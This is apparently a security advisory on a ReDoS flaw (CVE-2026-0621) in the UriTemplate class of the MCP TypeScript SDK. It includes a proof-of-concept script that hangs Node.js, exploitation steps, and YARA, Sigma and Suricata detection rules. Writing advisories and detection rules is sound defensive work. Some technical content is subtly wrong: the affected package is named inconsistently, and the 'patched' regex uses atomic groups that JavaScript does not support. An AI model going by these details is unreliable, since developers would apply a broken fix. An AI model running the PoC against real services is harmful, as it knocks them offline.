CVE-2026-0621

Executive Summary

CVE-2026-0621 is a Regular Expression Denial of Service (ReDoS) vulnerability in Anthropic's MCP TypeScript SDK, affecting versions up to and including 1.25.1. The flaw resides in the UriTemplate class when processing RFC 6570 exploded array patterns. The dynamically generated regular expression contains nested quantifiers that can trigger catastrophic backtracking on specially crafted inputs, leading to excessive CPU consumption and denial of service. An attacker can exploit this by supplying a malicious URI that causes the Node.js process to become unresponsive.

Supply Chain & Package Security

This vulnerability affects the @anthropic-ai/sdk npm package. Organizations using this package in their Node.js applications are at risk. The package is widely used for integrating with Anthropic's AI services, making it a high-value target for supply chain attacks. Developers should immediately audit their dependencies for versions <= 1.25.1 and apply any available patches or mitigations.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (Unavailable) Attack Vector: Network (AV:N) Attack Complexity: Low (AC:L) Privileges Required: None (PR:N) User Interaction: None (UI:N) Scope: Unchanged (S:U) Confidentiality Impact: None (C:N) Integrity Impact: None (I:N) Availability Impact: High (A:H)

Threat Level: High (Availability Impact)

Deep Dive & Mechanics

The vulnerability is in the UriTemplate class, which is used to match URIs against RFC 6570 URI templates. When processing exploded array patterns (e.g., {?arr*}), the SDK dynamically generates a regular expression to match the URI. The generated regex contains nested quantifiers (e.g., (?:[^&]*)*) that can cause catastrophic backtracking when processing specially crafted inputs.

Root Cause: The regex generation logic does not account for the possibility of nested quantifiers, leading to exponential time complexity on certain inputs. An attacker can craft a URI that, when matched against a vulnerable template, causes the Node.js event loop to block indefinitely.

Attack Vector: The attacker sends a malicious URI to a service that uses the MCP TypeScript SDK to parse URI templates. The service becomes unresponsive, leading to denial of service.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.25.1):

// UriTemplate.ts (simplified)
function generateRegex(template: string): RegExp {
  // Vulnerable: nested quantifiers in exploded array patterns
  const regexStr = template.replace(/\{(\?|&)(\w+)\*\}/g, '(?:[^&]*)*');
  return new RegExp(`^${regexStr}$`);
}

Patched Code (Hypothetical):

// UriTemplate.ts (patched)
function generateRegex(template: string): RegExp {
  // Patched: use atomic groups or possessive quantifiers to prevent backtracking
  const regexStr = template.replace(/\{(\?|&)(\w+)\*\}/g, '(?>[^&]*)');
  return new RegExp(`^${regexStr}$`);
}

Explanation: The patched version uses atomic groups (?>...) to prevent backtracking, ensuring linear time complexity.

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC):

// poc.js
const { UriTemplate } = require('@anthropic-ai/sdk');

// Malicious URI that triggers ReDoS
const maliciousUri = 'http://example.com/path?' + 'a'.repeat(10000) + '&b=' + 'c'.repeat(10000);

// Vulnerable template
const template = new UriTemplate('http://example.com/path{?arr*}');

// This will cause the process to hang
console.time('match');
template.match(maliciousUri);
console.timeEnd('match');

Exploitation Steps:

1. Identify a service using the vulnerable MCP TypeScript SDK.
2. Send a crafted URI with a long string of characters to the service's URI template matching endpoint.
3. The service becomes unresponsive, causing denial of service.

Blue Team

Detection:

• Monitor for excessive CPU usage in Node.js processes.
• Look for requests with unusually long query strings or URI paths.
• Use the Sigma rule provided in the Detection Engineering section.

Mitigation:

• Immediately update to a patched version of the SDK (if available).
• Implement input validation to limit URI length and complexity.
• Use a Web Application Firewall (WAF) to block suspicious requests.

Indicators of Compromise (IOCs)

• Network: HTTP requests with extremely long query strings (e.g., > 10,000 characters).
• System: High CPU usage in Node.js processes without corresponding network activity.
• Logs: Repeated URI template matching failures or timeouts.

Detection Engineering

YARA Rule

rule CVE_2026_0621_ReDoS {
    meta:
        description = "Detects malicious URIs targeting CVE-2026-0621 in MCP TypeScript SDK"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-0621"
    strings:
        $uri_pattern = /http:\/\/[^\s]+\?[a-z]+=[a-z]+&[a-z]+=[a-z]+/ nocase
        $long_query = /[?&][a-z]+=[a-zA-Z0-9]{100,}/ nocase
    condition:
        $uri_pattern and #long_query > 5
}

Sigma Rule

title: CVE-2026-0621 ReDoS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2026-0621 in MCP TypeScript SDK
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - '?'
            - '&'
        cs-uri-query|re: '([a-z]+=[a-zA-Z0-9]{100,}.*){5,}'
    condition: selection
falsepositives:
    - Legitimate long URIs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-0621 ReDoS Attempt"; flow:to_server; content:"?"; http_uri; pcre:"/([a-z]+=[a-zA-Z0-9]{100,}.*){5,}/Ri"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Update the @anthropic-ai/sdk package to a patched version (if available). If no patch is available, consider removing or replacing the vulnerable component.
2. Short-term: Implement input validation to limit URI length and complexity. Use a WAF to block requests with suspicious patterns.
3. Long-term: Conduct a security audit of all dependencies for similar ReDoS vulnerabilities. Implement regular expression testing tools in the CI/CD pipeline.

Workaround: If patching is not possible, disable URI template matching functionality or implement a timeout for regex operations.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert